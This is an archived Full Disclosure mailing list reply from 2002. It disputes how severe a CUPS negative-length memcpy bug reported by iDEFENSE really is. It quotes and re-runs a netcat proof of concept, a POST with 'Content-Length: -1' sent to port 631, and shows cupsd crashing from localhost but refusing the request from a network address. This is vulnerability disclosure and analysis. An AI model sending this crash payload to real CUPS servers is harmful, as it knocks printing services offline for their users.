Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)
From: "Joe Testa" <Joe_Testa () rapid7 com>
Date: Sat, 21 Dec 2002 14:59:06 -0500

Hash: SHA1

**** ISSUE 4 - Negative Length Memcpy() Calls ****

Negative length memcpy() calls can lead to a denial of service (DoS) and,
on some platforms, remote root compromise. The following examples
demonstrate these vulnerabilities:

$ nc -v localhost 631
localhost [] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

I believe this is inaccurate/misleading.

A remote attacker cannot cause CUPSd to call memcpy() with a negative
value unless he or she is authenticated.  An attacker with local access,
however, can.  More specifically, if the attacker's source IP is,
then the server can be DOSed/overflowed without authentication.  If the
attacker's source IP is not, then the server will return an error
message without parsing the negative 'Content Length' field.


[jdog () wonderland jdog]$ nc -v localhost 631
localhost.localdomain [] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

[jdog () wonderland jdog]$ nc -v localhost 631
localhost.localdomain [] 631 (?) : Connection refused

... CUPSd has crashed.  Now lets see what happens when we use the eth0

[jdog () wonderland jdog]$ nc -v 192.168.x.x 631
192.168.x.x: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.x.x] 631 (?) open
POST /printers HTTP/1.1
Host: 192.168.x.x
Authorization: Basic AAA
Content-Length: -1

HTTP/1.1 403 Forbidden
Date: Sat, 21 Dec 2002 19:12:25 GMT
Server: CUPS/1.1
Content-Language: C
Upgrade: TLS/1.0,HTTP/1.1
Connection: close
Content-Type: text/html
Content-Length: 150

<HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>
You don't have permission to access the resource on this server.</BODY>
[jdog () wonderland jdog]$

I'd like to point out that I have _assumed_ that the remote attacker must
authenticate in order to exploit this issue--I'm largely unfamiliar with
CUPS and I'm pressed for time...  Feel free to prove me wrong.

So, it doesn't seem like CUPSd is vulnerable to just any random attacker
who happens to be passing by.  I've tested this against RedHat 8.0's
'cups-1.1.15-10.src.rpm', along with ftp.cups.org's v1.1.14 and v1.1.17.


    - Joe Testa, Rapid 7, Inc.
    A145 B158 2CA7 00A2 BAE8 4A18 57E5 18E0 02B0 0839

Version: GnuPG v1.0.7 (Cygwin32)


(See attached file: cups.txt.asc)

Attachment: cups.txt.asc

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]